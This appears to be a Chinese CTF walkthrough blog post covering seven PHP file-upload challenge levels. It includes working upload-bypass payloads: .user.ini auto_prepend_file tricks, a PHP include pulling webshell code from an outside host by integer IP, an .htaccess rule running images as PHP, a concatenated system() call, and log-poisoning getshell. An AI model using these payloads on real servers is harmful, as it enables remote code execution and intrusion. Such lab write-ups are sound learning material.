web-32 文件上传

第一关 

第一关

过滤了. ; () {} [] 等,这种如果user.ini还能用得话可以使用这种方法

---------------------

这两种.user.ini得写法是一个意思,都是去包含一个文件

auto_prepend_file=1.png
auto_prepend_file=png

----------------------

先包含这个png文件,然后png文件中上传一个远程加载得地址,如下

<?=include'http://www.xiaodi8.com/index.txt'?>

但是这里过滤了.号,不能这样写。所以使用长连接得方式去转换一下,把www.xiaodi8.com得ip转换成init得形式,然后把马子放在index.php或者index.html中,这样直接访问ip也能解析到index中得马子,include中就不需要加文件名了,因为加文件名需要加.会被过滤

<?=include'http://3663719758/'?>

最终为手法为上传两个文件

.user.ini内容
auto_prepend_file=png

png内容
<?=include'http://3663719758/'?>

访问upload/

---------------------

转换地址

在线ip转int,ip转数字-BeJSON.com

 

-----------------------

第二关 

第二关上传其他文件都会删除上传.user.ini不删除,直接一步到位

auto_prepend_file=<?=include'http://3663719758/'?>

也可以使用条件竞争上传,上传的文件功能是再重新新建一个shell文件;然后去链接新建的这个shell即可(第一种是什么都删除,第二个是检测到后门删除)

第三关

二次渲染:

网站为了更好的显示会把上传的图片进行二次渲染后,会对图片的内容进行更改,造成上传的码字也被更改;

---------

这里使用一个代码生成一个可以过二次渲染的图片木马,然后直接上传传入参数即可,需要注意的是这种图片木马需要有文件包含功能的包含图片木马才能执行,比如user.ini或者题目中的这种用download.php包含

参考过二次渲染的图片码生成,这里注意是把渲染后的图片当作源文件进行插入码子生成能绕过二次渲染的图片码

https://blog.csdn.net/qq_40800734/article/details/105920149
第四关

第四关与其相同只不过生成的是jpg的图片码

注意生成jepg图片的时候需要加参数 ,png不需要,其中11是下载下来的文件

第五关 

使用.htaccess修改解析配置,使png解析成php执行

user.ini不限制中间件限制脚本语言,.htaccess限制apach才行,可以突破让nginx支持使用

AddType applicatiion/x-httpd-php .jpg
含义就是把.jpg的文件当作applicatiion/x-httpd-php也就是php执行 .jpg可以换成任意文件

第六关 

禁用了很多函数名,可以用赋值的方式绕过,理论上eval应该也行

<?php $a='syste'.'m';%a('tac ../flag.php');?>
第七关 

前置知识:user.ini是需要指向性文件的,比如index.php,如果网站没有显示后缀但是限制了内容的话可以使用user.ini上传,需要先上传一个index.php即可,内容无所谓,之后再利用user.ini读取acceslog文件,修改ua头去进行getshell

 二次渲染判断方式 

 二次渲染判断方式

查看返回包,上传后再次下载查看是大小内容等是否有变化

下面是php中内置的gd库用来二次渲染jpeg图片的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值